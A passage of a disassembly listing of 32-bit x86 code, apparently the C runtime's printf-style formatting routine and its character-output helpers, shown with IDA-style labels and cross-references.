		or	eax, 0FFFFFFFFh
		jmp	short loc_406CE1
; ---------------------------------------------------------------------------

loc_406CD9:				; CODE XREF: sub_406B86+148j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh

loc_406CE1:				; CODE XREF: sub_406B86+151j
		pop	edi

loc_406CE2:				; CODE XREF: sub_406B86+E1j
		pop	ebx

loc_406CE3:				; CODE XREF: sub_406B86+2Bj
		pop	esi
		leave
		retn
sub_406B86	endp


; =============== S U B	R O U T	I N E =======================================



sub_406CE6	proc near		; CODE XREF: sub_406D19+11p
					; sub_406D3D+22p ...
		test	byte ptr [ecx+0Ch], 40h
		jz	short loc_406CF2
		cmp	dword ptr [ecx+8], 0
		jz	short loc_406D16

loc_406CF2:				; CODE XREF: sub_406CE6+4j
		dec	dword ptr [ecx+4]
		js	short loc_406D02
		mov	edx, [ecx]
		mov	[edx], al
		inc	dword ptr [ecx]
		movzx	eax, al
		jmp	short loc_406D0E
; ---------------------------------------------------------------------------

loc_406D02:				; CODE XREF: sub_406CE6+Fj
		movsx	eax, al
		push	ecx
		push	eax
		call	sub_406B86
		pop	ecx
		pop	ecx

loc_406D0E:				; CODE XREF: sub_406CE6+1Aj
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_406D16
		or	[esi], eax
		retn
; ---------------------------------------------------------------------------

loc_406D16:				; CODE XREF: sub_406CE6+Aj
					; sub_406CE6+2Bj
		inc	dword ptr [esi]
		retn
sub_406CE6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406D19	proc near		; CODE XREF: sub_406D87+853p
					; sub_406D87+880p ...

arg_0		= byte ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, eax
		jmp	short loc_406D34
; ---------------------------------------------------------------------------

loc_406D21:				; CODE XREF: sub_406D19+1Fj
		mov	ecx, [ebp+arg_8]
		mov	al, [ebp+arg_0]
		dec	[ebp+arg_4]
		call	sub_406CE6
		cmp	dword ptr [esi], 0FFFFFFFFh
		jz	short loc_406D3A

loc_406D34:				; CODE XREF: sub_406D19+6j
		cmp	[ebp+arg_4], 0
		jg	short loc_406D21

loc_406D3A:				; CODE XREF: sub_406D19+19j
		pop	esi
		pop	ebp
		retn
sub_406D19	endp


; =============== S U B	R O U T	I N E =======================================



sub_406D3D	proc near		; CODE XREF: sub_406D87+867p
					; sub_406D87+8CEp ...

arg_0		= dword	ptr  4

		test	byte ptr [edi+0Ch], 40h
		push	ebx
		push	esi
		mov	esi, eax
		mov	ebx, ecx
		jz	short loc_406D7D
		cmp	dword ptr [edi+8], 0
		jnz	short loc_406D7D
		mov	eax, [esp+8+arg_0]
		add	[esi], eax
		jmp	short loc_406D84
; ---------------------------------------------------------------------------

loc_406D57:				; CODE XREF: sub_406D3D+45j
		mov	al, [ebx]
		dec	[esp+8+arg_0]
		mov	ecx, edi
		call	sub_406CE6
		inc	ebx
		cmp	dword ptr [esi], 0FFFFFFFFh
		jnz	short loc_406D7D
		call	sub_405B83
		cmp	dword ptr [eax], 2Ah
		jnz	short loc_406D84
		mov	ecx, edi
		mov	al, 3Fh
		call	sub_406CE6

loc_406D7D:				; CODE XREF: sub_406D3D+Aj
					; sub_406D3D+10j ...
		cmp	[esp+8+arg_0], 0
		jg	short loc_406D57

loc_406D84:				; CODE XREF: sub_406D3D+18j
					; sub_406D3D+35j
		pop	esi
		pop	ebx
		retn
sub_406D3D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=1F8h


sub_406D87	proc near		; CODE XREF: sub_402EAE+80p
					; sub_403475+53p ...

var_278		= dword	ptr -278h
var_274		= dword	ptr -274h
var_270		= dword	ptr -270h
var_26C		= dword	ptr -26Ch
var_268		= dword	ptr -268h
var_260		= dword	ptr -260h
var_25C		= byte ptr -25Ch
var_254		= dword	ptr -254h
var_250		= byte ptr -250h
var_24C		= dword	ptr -24Ch
var_248		= dword	ptr -248h
var_244		= dword	ptr -244h
var_240		= dword	ptr -240h
var_23C		= dword	ptr -23Ch
var_238		= dword	ptr -238h
var_234		= dword	ptr -234h
var_230		= byte ptr -230h
var_22F		= byte ptr -22Fh
var_22C		= dword	ptr -22Ch
var_228		= dword	ptr -228h
var_224		= dword	ptr -224h
var_220		= dword	ptr -220h
var_21C		= dword	ptr -21Ch
var_218		= dword	ptr -218h
var_211		= byte ptr -211h
var_210		= dword	ptr -210h
var_20C		= byte ptr -20Ch
var_D		= byte ptr -0Dh
var_C		= byte ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		lea	ebp, [esp-1F8h]
		sub	esp, 278h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+1F8h+var_4], eax
		mov	eax, [ebp+1F8h+arg_0]
		push	ebx
		mov	ebx, [ebp+1F8h+arg_4]
		push	esi
		xor	esi, esi
		push	edi
		mov	edi, [ebp+1F8h+arg_C]
		push	[ebp+1F8h+arg_8]
		lea	ecx, [ebp+1F8h+var_25C]
		mov	[ebp+1F8h+var_228], eax
		mov	[ebp+1F8h+var_224], edi
		mov	[ebp+1F8h+var_244], esi
		mov	[ebp+1F8h+var_210], esi
		mov	[ebp+1F8h+var_238], esi
		mov	[ebp+1F8h+var_218], esi
		mov	[ebp+1F8h+var_234], esi
		mov	[ebp+1F8h+var_248], esi
		mov	[ebp+1F8h+var_23C], esi
		call	sub_402ADF
		cmp	[ebp+1F8h+var_228], esi
		jnz	short loc_406E14

loc_406DE7:				; CODE XREF: sub_406D87+E5j
					; sub_406D87+138j ...
		call	sub_405B83
		push	esi
		push	esi
		push	esi
		push	esi
		mov	dword ptr [eax], 16h
		push	esi

loc_406DF7:				; CODE XREF: sub_406D87+948j
		call	sub_4032F9
		add	esp, 14h
		cmp	[ebp+1F8h+var_250], 0
		jz	short loc_406E0C
		mov	eax, [ebp+1F8h+var_254]
		and	dword ptr [eax+70h], 0FFFFFFFDh

loc_406E0C:				; CODE XREF: sub_406D87+7Cj
		or	eax, 0FFFFFFFFh
		jmp	loc_4076E4
; ---------------------------------------------------------------------------

loc_406E14:				; CODE XREF: sub_406D87+5Ej
		mov	eax, [ebp+1F8h+var_228]
		test	byte ptr [eax+0Ch], 40h
		jnz	loc_406EC5
		push	eax
		call	sub_408DD0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_406E63
		push	[ebp+1F8h+var_228]
		call	sub_408DD0
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_406E63
		push	[ebp+1F8h+var_228]
		call	sub_408DD0
		push	[ebp+1F8h+var_228]
		sar	eax, 5
		lea	esi, ds:435700h[eax*4]
		call	sub_408DD0
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [esi]
		pop	ecx
		pop	ecx
		xor	esi, esi
		jmp	short loc_406E68
; ---------------------------------------------------------------------------

loc_406E63:				; CODE XREF: sub_406D87+A4j
					; sub_406D87+B2j
		mov	eax, offset dword_423BD0

loc_406E68:				; CODE XREF: sub_406D87+DAj
		test	byte ptr [eax+24h], 7Fh
		jnz	loc_406DE7
		push	[ebp+1F8h+var_228]
		call	sub_408DD0
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_406EB6
		push	[ebp+1F8h+var_228]
		call	sub_408DD0
		cmp	eax, 0FFFFFFFEh
		pop	ecx
		jz	short loc_406EB6
		push	[ebp+1F8h+var_228]
		call	sub_408DD0
		push	[ebp+1F8h+var_228]
		sar	eax, 5
		lea	esi, ds:435700h[eax*4]
		call	sub_408DD0
		and	eax, 1Fh
		imul	eax, 28h
		add	eax, [esi]
		pop	ecx
		pop	ecx
		xor	esi, esi
		jmp	short loc_406EBB
; ---------------------------------------------------------------------------

loc_406EB6:				; CODE XREF: sub_406D87+F7j
					; sub_406D87+105j
		mov	eax, offset dword_423BD0

loc_406EBB:				; CODE XREF: sub_406D87+12Dj
		test	byte ptr [eax+24h], 80h
		jnz	loc_406DE7

loc_406EC5:				; CODE XREF: sub_406D87+94j
		cmp	ebx, esi
		jz	loc_406DE7
		mov	dl, [ebx]
		xor	ecx, ecx
		test	dl, dl
		mov	[ebp+1F8h+var_22C], esi
		mov	[ebp+1F8h+var_220], esi
		mov	[ebp+1F8h+var_24C], esi
		mov	[ebp+1F8h+var_211], dl
		jz	loc_4076D4

loc_406EE5:				; CODE XREF: sub_406D87+931j
		inc	ebx
		cmp	[ebp+1F8h+var_22C], 0
		mov	[ebp+1F8h+var_240], ebx
		jl	loc_4076D4
		mov	al, dl
		sub	al, 20h
		cmp	al, 58h
		ja	short loc_406F0C
		movsx	eax, dl
		movzx	eax, ds:byte_41D4E8[eax]
		and	eax, 0Fh
		xor	esi, esi
		jmp	short loc_406F10
; ---------------------------------------------------------------------------

loc_406F0C:				; CODE XREF: sub_406D87+172j
		xor	esi, esi
		xor	eax, eax

loc_406F10:				; CODE XREF: sub_406D87+183j
		movsx	eax, ds:byte_41D508[ecx+eax*8]
		push	7
		sar	eax, 4
		pop	ecx
		cmp	eax, ecx	; switch 8 cases
		mov	[ebp+1F8h+var_26C], eax
		ja	loc_4076A4	; default
		jmp	ds:off_4076FF[eax*4] ; switch jump

loc_406F30:				; DATA XREF: .text:off_4076FFo
		or	[ebp+1F8h+var_218], 0FFFFFFFFh ; jumptable 00406F29 case 1
		mov	[ebp+1F8h+var_270], esi
		mov	[ebp+1F8h+var_248], esi
		mov	[ebp+1F8h+var_238], esi
		mov	[ebp+1F8h+var_234], esi
		mov	[ebp+1F8h+var_210], esi
		mov	[ebp+1F8h+var_23C], esi
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_406F4B:				; CODE XREF: sub_406D87+1A2j
					; DATA XREF: .text:off_4076FFo
		movsx	eax, dl		; jumptable 00406F29 case 2
		sub	eax, 20h
		jz	short loc_406F91
		sub	eax, 3
		jz	short loc_406F85
		sub	eax, 8
		jz	short loc_406F7C
		dec	eax
		dec	eax
		jz	short loc_406F73
		sub	eax, 3
		jnz	loc_4076A4	; default
		or	[ebp+1F8h+var_210], 8
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_406F73:				; CODE XREF: sub_406D87+1D8j
		or	[ebp+1F8h+var_210], 4
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_406F7C:				; CODE XREF: sub_406D87+1D4j
		or	[ebp+1F8h+var_210], 1
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_406F85:				; CODE XREF: sub_406D87+1CFj
		or	[ebp+1F8h+var_210], 80h
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_406F91:				; CODE XREF: sub_406D87+1CAj
		or	[ebp+1F8h+var_210], 2
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_406F9A:				; CODE XREF: sub_406D87+1A2j
					; DATA XREF: .text:off_4076FFo
		cmp	dl, 2Ah		; jumptable 00406F29 case 3
		jnz	short loc_406FBF
		add	edi, 4
		mov	[ebp+1F8h+var_224], edi
		mov	edi, [edi-4]
		cmp	edi, esi
		mov	[ebp+1F8h+var_238], edi
		jge	loc_4076A4	; default
		or	[ebp+1F8h+var_210], 4
		neg	[ebp+1F8h+var_238]
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_406FBF:				; CODE XREF: sub_406D87+216j
		mov	eax, [ebp+1F8h+var_238]
		imul	eax, 0Ah
		movsx	ecx, dl
		lea	eax, [eax+ecx-30h]
		mov	[ebp+1F8h+var_238], eax
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_406FD4:				; CODE XREF: sub_406D87+1A2j
					; DATA XREF: .text:off_4076FFo
		mov	[ebp+1F8h+var_218], esi	; jumptable 00406F29 case 4
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_406FDC:				; CODE XREF: sub_406D87+1A2j
					; DATA XREF: .text:off_4076FFo
		cmp	dl, 2Ah		; jumptable 00406F29 case 5
		jnz	short loc_406FFE
		add	edi, 4
		mov	[ebp+1F8h+var_224], edi
		mov	edi, [edi-4]
		cmp	edi, esi
		mov	[ebp+1F8h+var_218], edi
		jge	loc_4076A4	; default
		or	[ebp+1F8h+var_218], 0FFFFFFFFh
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_406FFE:				; CODE XREF: sub_406D87+258j
		mov	eax, [ebp+1F8h+var_218]
		imul	eax, 0Ah
		movsx	ecx, dl
		lea	eax, [eax+ecx-30h]
		mov	[ebp+1F8h+var_218], eax
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_407013:				; CODE XREF: sub_406D87+1A2j
					; DATA XREF: .text:off_4076FFo
		cmp	dl, 49h		; jumptable 00406F29 case 6
		jz	short loc_40705E
		cmp	dl, 68h
		jz	short loc_407055
		cmp	dl, 6Ch
		jz	short loc_407037
		cmp	dl, 77h
		jnz	loc_4076A4	; default
		or	[ebp+1F8h+var_210], 800h
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_407037:				; CODE XREF: sub_406D87+299j
		cmp	byte ptr [ebx],	6Ch
		jnz	short loc_40704C
		inc	ebx
		or	[ebp+1F8h+var_210], 1000h
		mov	[ebp+1F8h+var_240], ebx
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_40704C:				; CODE XREF: sub_406D87+2B3j
		or	[ebp+1F8h+var_210], 10h
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_407055:				; CODE XREF: sub_406D87+294j
		or	[ebp+1F8h+var_210], 20h
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_40705E:				; CODE XREF: sub_406D87+28Fj
		mov	al, [ebx]
		cmp	al, 36h
		jnz	short loc_40707B
		cmp	byte ptr [ebx+1], 34h
		jnz	short loc_40707B
		inc	ebx
		inc	ebx
		or	[ebp+1F8h+var_210], 8000h
		mov	[ebp+1F8h+var_240], ebx
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_40707B:				; CODE XREF: sub_406D87+2DBj
					; sub_406D87+2E1j
		cmp	al, 33h
		jnz	short loc_407096
		cmp	byte ptr [ebx+1], 32h
		jnz	short loc_407096
		inc	ebx
		inc	ebx
		and	[ebp+1F8h+var_210], 0FFFF7FFFh
		mov	[ebp+1F8h+var_240], ebx
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_407096:				; CODE XREF: sub_406D87+2F6j
					; sub_406D87+2FCj
		cmp	al, 64h
		jz	loc_4076A4	; default
		cmp	al, 69h
		jz	loc_4076A4	; default
		cmp	al, 6Fh
		jz	loc_4076A4	; default
		cmp	al, 75h
		jz	loc_4076A4	; default
		cmp	al, 78h
		jz	loc_4076A4	; default
		cmp	al, 58h
		jz	loc_4076A4	; default
		mov	[ebp+1F8h+var_26C], esi

loc_4070C9:				; CODE XREF: sub_406D87+1A2j
					; DATA XREF: .text:off_4076FFo
		lea	eax, [ebp+1F8h+var_25C]	; jumptable 00406F29 case 0
		push	eax
		movzx	eax, dl
		push	eax
		mov	[ebp+1F8h+var_23C], esi
		call	sub_40CDB0
		pop	ecx
		test	eax, eax
		mov	al, [ebp+1F8h+var_211]
		pop	ecx
		jz	short loc_4070FB
		mov	ecx, [ebp+1F8h+var_228]
		lea	esi, [ebp+1F8h+var_22C]
		call	sub_406CE6
		mov	al, [ebx]
		inc	ebx
		test	al, al
		mov	[ebp+1F8h+var_240], ebx
		jz	loc_4076BD

loc_4070FB:				; CODE XREF: sub_406D87+359j
		mov	ecx, [ebp+1F8h+var_228]
		lea	esi, [ebp+1F8h+var_22C]
		call	sub_406CE6
		jmp	loc_4076A4	; default
; ---------------------------------------------------------------------------

loc_40710B:				; CODE XREF: sub_406D87+1A2j
					; DATA XREF: .text:off_4076FFo
		movsx	eax, dl		; jumptable 00406F29 case 7
		cmp	eax, 64h
		jg	loc_407289
		jz	loc_407308
		cmp	eax, 53h
		jg	loc_4071D1
		jz	short loc_407182
		sub	eax, 41h
		jz	short loc_40713D
		dec	eax
		dec	eax
		jz	short loc_407171
		dec	eax
		dec	eax
		jz	short loc_40713D
		dec	eax
		dec	eax
		jnz	loc_40758C

loc_40713D:				; CODE XREF: sub_406D87+3A4j
					; sub_406D87+3ACj
		add	dl, 20h
		mov	[ebp+1F8h+var_270], 1
		mov	[ebp+1F8h+var_211], dl

loc_40714A:				; CODE XREF: sub_406D87+459j
					; sub_406D87+51Dj
		or	[ebp+1F8h+var_210], 40h
		cmp	[ebp+1F8h+var_218], esi
		lea	ebx, [ebp+1F8h+var_20C]
		mov	eax, 200h
		mov	[ebp+1F8h+var_21C], ebx
		mov	[ebp+1F8h+var_260], eax
		jge	loc_40732C
		mov	[ebp+1F8h+var_218], 6
		jmp	loc_40737A
; ---------------------------------------------------------------------------

loc_407171:				; CODE XREF: sub_406D87+3A8j
		test	word ptr [ebp+1F8h+var_210], 830h
		jnz	short loc_4071EE
		or	[ebp+1F8h+var_210], 800h
		jmp	short loc_4071EE
; ---------------------------------------------------------------------------

loc_407182:				; CODE XREF: sub_406D87+39Fj
		test	word ptr [ebp+1F8h+var_210], 830h
		jnz	short loc_407191
		or	[ebp+1F8h+var_210], 800h

loc_407191:				; CODE XREF: sub_406D87+401j
					; sub_406D87+694j
		mov	ecx, [ebp+1F8h+var_218]
		cmp	ecx, 0FFFFFFFFh
		jnz	short loc_40719E
		mov	ecx, 7FFFFFFFh

loc_40719E:				; CODE XREF: sub_406D87+410j
		add	edi, 4
		test	word ptr [ebp+1F8h+var_210], 810h
		mov	[ebp+1F8h+var_224], edi
		mov	edi, [edi-4]
		mov	[ebp+1F8h+var_21C], edi
		jz	loc_40756A
		cmp	edi, esi
		jnz	short loc_4071C2
		mov	eax, off_423928
		mov	[ebp+1F8h+var_21C], eax

loc_4071C2:				; CODE XREF: sub_406D87+431j
		mov	eax, [ebp+1F8h+var_21C]
		mov	[ebp+1F8h+var_23C], 1
		jmp	loc_40755F
; ---------------------------------------------------------------------------

loc_4071D1:				; CODE XREF: sub_406D87+399j
		sub	eax, 58h
		jz	loc_407413
		dec	eax
		dec	eax
		jz	short loc_40723B
		sub	eax, ecx
		jz	loc_40714A
		dec	eax
		dec	eax
		jnz	loc_40758C

loc_4071EE:				; CODE XREF: sub_406D87+3F0j
					; sub_406D87+3F9j
		add	edi, 4
		test	word ptr [ebp+1F8h+var_210], 810h
		mov	[ebp+1F8h+var_224], edi
		jz	short loc_407223
		movzx	eax, word ptr [edi-4]
		push	eax
		push	200h
		lea	eax, [ebp+1F8h+var_20C]
		push	eax
		lea	eax, [ebp+1F8h+var_220]
		push	eax
		call	sub_40DAE2
		add	esp, 10h
		test	eax, eax
		jz	short loc_407230
		mov	[ebp+1F8h+var_248], 1
		jmp	short loc_407230
; ---------------------------------------------------------------------------

loc_407223:				; CODE XREF: sub_406D87+473j
		mov	al, [edi-4]
		mov	[ebp+1F8h+var_20C], al
		mov	[ebp+1F8h+var_220], 1

loc_407230:				; CODE XREF: sub_406D87+491j
					; sub_406D87+49Aj
		lea	eax, [ebp+1F8h+var_20C]
		mov	[ebp+1F8h+var_21C], eax
		jmp	loc_40758C
; ---------------------------------------------------------------------------

loc_40723B:				; CODE XREF: sub_406D87+455j
		mov	eax, [edi]
		add	edi, 4
		cmp	eax, esi
		mov	[ebp+1F8h+var_224], edi
		jz	short loc_407275
		mov	ecx, [eax+4]
		cmp	ecx, esi
		jz	short loc_407275
		test	word ptr [ebp+1F8h+var_210], 800h
		movsx	eax, word ptr [eax]
		mov	[ebp+1F8h+var_21C], ecx
		jz	short loc_40726D
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	[ebp+1F8h+var_23C], 1
		jmp	loc_407589
; ---------------------------------------------------------------------------

loc_40726D:				; CODE XREF: sub_406D87+4D3j
		mov	[ebp+1F8h+var_23C], esi
		jmp	loc_407589
; ---------------------------------------------------------------------------

loc_407275:				; CODE XREF: sub_406D87+4BEj
					; sub_406D87+4C5j
		mov	eax, off_423924
		mov	[ebp+1F8h+var_21C], eax
		push	eax

loc_40727E:				; CODE XREF: sub_406D87+680j
		call	sub_4044E0
		pop	ecx
		jmp	loc_407589
; ---------------------------------------------------------------------------

loc_407289:				; CODE XREF: sub_406D87+38Aj
		cmp	eax, 70h
		jg	loc_407418
		jz	loc_40740C
		cmp	eax, 65h
		jl	loc_40758C
		cmp	eax, 67h
		jle	loc_40714A
		cmp	eax, 69h
		jz	short loc_407308
		cmp	eax, 6Eh
		jz	short loc_4072D3
		cmp	eax, 6Fh
		jnz	loc_40758C
		test	byte ptr [ebp+1F8h+var_210], 80h
		mov	[ebp+1F8h+var_220], 8
		jz	short loc_407313
		or	[ebp+1F8h+var_210], 200h
		jmp	short loc_407313
; ---------------------------------------------------------------------------

loc_4072D3:				; CODE XREF: sub_406D87+52Bj
		mov	esi, [edi]
		add	edi, 4
		mov	[ebp+1F8h+var_224], edi
		call	sub_40D96D
		test	eax, eax
		jz	loc_4076BD
		test	byte ptr [ebp+1F8h+var_210], 20h
		jz	short loc_4072F7
		mov	ax, word ptr [ebp+1F8h+var_22C]
		mov	[esi], ax
		jmp	short loc_4072FC
; ---------------------------------------------------------------------------

loc_4072F7:				; CODE XREF: sub_406D87+565j
		mov	eax, [ebp+1F8h+var_22C]
		mov	[esi], eax

loc_4072FC:				; CODE XREF: sub_406D87+56Ej
		mov	[ebp+1F8h+var_248], 1
		jmp	loc_407691
; ---------------------------------------------------------------------------

loc_407308:				; CODE XREF: sub_406D87+390j
					; sub_406D87+526j
		or	[ebp+1F8h+var_210], 40h

loc_40730C:				; CODE XREF: sub_406D87+69Cj
		mov	[ebp+1F8h+var_220], 0Ah

loc_407313:				; CODE XREF: sub_406D87+541j
					; sub_406D87+54Aj ...
		mov	ecx, [ebp+1F8h+var_210]
		test	cx, cx
		jns	loc_407462

loc_40731F:				; CODE XREF: sub_406D87+6E0j
		mov	eax, [edi]
		mov	edx, [edi+4]
		add	edi, 8
		jmp	loc_407497
; ---------------------------------------------------------------------------

loc_40732C:				; CODE XREF: sub_406D87+3D8j
		jnz	short loc_40733C
		cmp	dl, 67h
		jnz	short loc_40737A
		mov	[ebp+1F8h+var_218], 1
		jmp	short loc_40737A
; ---------------------------------------------------------------------------

loc_40733C:				; CODE XREF: sub_406D87:loc_40732Cj
		cmp	[ebp+1F8h+var_218], eax
		jle	short loc_407344
		mov	[ebp+1F8h+var_218], eax

loc_407344:				; CODE XREF: sub_406D87+5B8j
		cmp	[ebp+1F8h+var_218], 0A3h
		jle	short loc_40737A
		mov	esi, [ebp+1F8h+var_218]
		add	esi, 15Dh
		push	esi
		call	sub_407AEA
		test	eax, eax
		mov	dl, [ebp+1F8h+var_211]
		pop	ecx
		mov	[ebp+1F8h+var_24C], eax
		jz	short loc_407371
		mov	[ebp+1F8h+var_21C], eax
		mov	[ebp+1F8h+var_260], esi
		mov	ebx, eax
		jmp	short loc_407378
; ---------------------------------------------------------------------------

loc_407371:				; CODE XREF: sub_406D87+5DEj
		mov	[ebp+1F8h+var_218], 0A3h

loc_407378:				; CODE XREF: sub_406D87+5E8j
		xor	esi, esi

loc_40737A:				; CODE XREF: sub_406D87+3E5j
					; sub_406D87+5AAj ...
		mov	eax, [edi]
		add	edi, 8
		mov	[ebp+1F8h+var_278], eax
		mov	eax, [edi-4]
		mov	[ebp+1F8h+var_274], eax
		lea	eax, [ebp+1F8h+var_25C]
		push	eax
		push	[ebp+1F8h+var_270]
		movsx	eax, dl
		push	[ebp+1F8h+var_218]
		mov	[ebp+1F8h+var_224], edi
		push	eax
		push	[ebp+1F8h+var_260]
		lea	eax, [ebp+1F8h+var_278]
		push	ebx
		push	eax
		push	off_423F98
		call	sub_405543
		pop	ecx
		call	eax
		mov	edi, [ebp+1F8h+var_210]
		add	esp, 1Ch
		and	edi, 80h
		jz	short loc_4073D7
		cmp	[ebp+1F8h+var_218], esi
		jnz	short loc_4073D7
		lea	eax, [ebp+1F8h+var_25C]
		push	eax
		push	ebx
		push	off_423FA4
		call	sub_405543
		pop	ecx
		call	eax
		pop	ecx
		pop	ecx

loc_4073D7:				; CODE XREF: sub_406D87+634j
					; sub_406D87+639j
		cmp	[ebp+1F8h+var_211], 67h
		jnz	short loc_4073F6
		cmp	edi, esi
		jnz	short loc_4073F6
		lea	eax, [ebp+1F8h+var_25C]
		push	eax
		push	ebx
		push	off_423FA0
		call	sub_405543
		pop	ecx
		call	eax
		pop	ecx
		pop	ecx

loc_4073F6:				; CODE XREF: sub_406D87+654j
					; sub_406D87+658j
		cmp	byte ptr [ebx],	2Dh
		jnz	short loc_407406
		or	[ebp+1F8h+var_210], 100h
		inc	ebx
		mov	[ebp+1F8h+var_21C], ebx

loc_407406:				; CODE XREF: sub_406D87+672j
		push	ebx
		jmp	loc_40727E
; ---------------------------------------------------------------------------

loc_40740C:				; CODE XREF: sub_406D87+50Bj
		mov	[ebp+1F8h+var_218], 8

loc_407413:				; CODE XREF: sub_406D87+44Dj
		mov	[ebp+1F8h+var_244], ecx
		jmp	short loc_407439
; ---------------------------------------------------------------------------

loc_407418:				; CODE XREF: sub_406D87+505j
		sub	eax, 73h
		jz	loc_407191
		dec	eax
		dec	eax
		jz	loc_40730C
		sub	eax, 3
		jnz	loc_40758C
		mov	[ebp+1F8h+var_244], 27h

loc_407439:				; CODE XREF: sub_406D87+68Fj
		test	byte ptr [ebp+1F8h+var_210], 80h
		mov	[ebp+1F8h+var_220], 10h
		jz	loc_407313
		mov	al, byte ptr [ebp+1F8h+var_244]
		add	al, 51h
		mov	[ebp+1F8h+var_230], 30h
		mov	[ebp+1F8h+var_22F], al
		mov	[ebp+1F8h+var_234], 2
		jmp	loc_407313
; ---------------------------------------------------------------------------

loc_407462:				; CODE XREF: sub_406D87+592j
		test	cx, 1000h
		jnz	loc_40731F
		add	edi, 4
		test	cl, 20h
		jz	short loc_40748A
		test	cl, 40h
		mov	[ebp+1F8h+var_224], edi
		jz	short loc_407483
		movsx	eax, word ptr [edi-4]
		jmp	short loc_407487
; ---------------------------------------------------------------------------

loc_407483:				; CODE XREF: sub_406D87+6F4j
		movzx	eax, word ptr [edi-4]

loc_407487:				; CODE XREF: sub_406D87+6FAj
		cdq
		jmp	short loc_40749A
; ---------------------------------------------------------------------------

loc_40748A:				; CODE XREF: sub_406D87+6ECj
		test	cl, 40h
		mov	eax, [edi-4]
		jz	short loc_407495
		cdq
		jmp	short loc_407497
; ---------------------------------------------------------------------------

loc_407495:				; CODE XREF: sub_406D87+709j
		xor	edx, edx

loc_407497:				; CODE XREF: sub_406D87+5A0j
					; sub_406D87+70Cj
		mov	[ebp+1F8h+var_224], edi

loc_40749A:				; CODE XREF: sub_406D87+701j
		test	cl, 40h
		jz	short loc_4074B7
		cmp	edx, esi
		jg	short loc_4074B7
		jl	short loc_4074A9
		cmp	eax, esi
		jnb	short loc_4074B7

loc_4074A9:				; CODE XREF: sub_406D87+71Cj
		neg	eax
		adc	edx, 0
		neg	edx
		or	[ebp+1F8h+var_210], 100h

loc_4074B7:				; CODE XREF: sub_406D87+716j
					; sub_406D87+71Aj ...
		test	word ptr [ebp+1F8h+var_210], 9000h
		mov	ebx, edx
		mov	edi, eax
		jnz	short loc_4074C5
		xor	ebx, ebx

loc_4074C5:				; CODE XREF: sub_406D87+73Aj
		cmp	[ebp+1F8h+var_218], 0
		jge	short loc_4074D4
		mov	[ebp+1F8h+var_218], 1
		jmp	short loc_4074E5
; ---------------------------------------------------------------------------

loc_4074D4:				; CODE XREF: sub_406D87+742j
		and	[ebp+1F8h+var_210], 0FFFFFFF7h
		mov	eax, 200h
		cmp	[ebp+1F8h+var_218], eax
		jle	short loc_4074E5
		mov	[ebp+1F8h+var_218], eax

loc_4074E5:				; CODE XREF: sub_406D87+74Bj
					; sub_406D87+759j
		mov	eax, edi
		or	eax, ebx
		jnz	short loc_4074EF
		and	[ebp+1F8h+var_234], 0

loc_4074EF:				; CODE XREF: sub_406D87+762j
		lea	esi, [ebp+1F8h+var_D]

loc_4074F5:				; CODE XREF: sub_406D87+7A0j
		mov	eax, [ebp+1F8h+var_218]
		dec	[ebp+1F8h+var_218]
		test	eax, eax
		jg	short loc_407505
		mov	eax, edi
		or	eax, ebx
		jz	short loc_407529

loc_407505:				; CODE XREF: sub_406D87+776j
		mov	eax, [ebp+1F8h+var_220]
		cdq
		push	edx
		push	eax
		push	ebx
		push	edi
		call	sub_40DB00
		add	ecx, 30h
		cmp	ecx, 39h
		mov	[ebp+1F8h+var_260], ebx
		mov	edi, eax
		mov	ebx, edx
		jle	short loc_407524
		add	ecx, [ebp+1F8h+var_244]

loc_407524:				; CODE XREF: sub_406D87+798j
		mov	[esi], cl
		dec	esi
		jmp	short loc_4074F5
; ---------------------------------------------------------------------------

loc_407529:				; CODE XREF: sub_406D87+77Cj
		lea	eax, [ebp+1F8h+var_D]
		sub	eax, esi
		inc	esi
		test	word ptr [ebp+1F8h+var_210], 200h
		mov	[ebp+1F8h+var_220], eax
		mov	[ebp+1F8h+var_21C], esi
		jz	short loc_40758C
		test	eax, eax
		jz	short loc_40754B
		mov	ecx, esi
		cmp	byte ptr [ecx],	30h
		jz	short loc_40758C

loc_40754B:				; CODE XREF: sub_406D87+7BBj
		dec	[ebp+1F8h+var_21C]
		mov	ecx, [ebp+1F8h+var_21C]
		mov	byte ptr [ecx],	30h
		inc	eax
		jmp	short loc_407589
; ---------------------------------------------------------------------------

loc_407557:				; CODE XREF: sub_406D87+7DAj
		dec	ecx
		cmp	[eax], si
		jz	short loc_407563
		inc	eax
		inc	eax

loc_40755F:				; CODE XREF: sub_406D87+445j
		cmp	ecx, esi
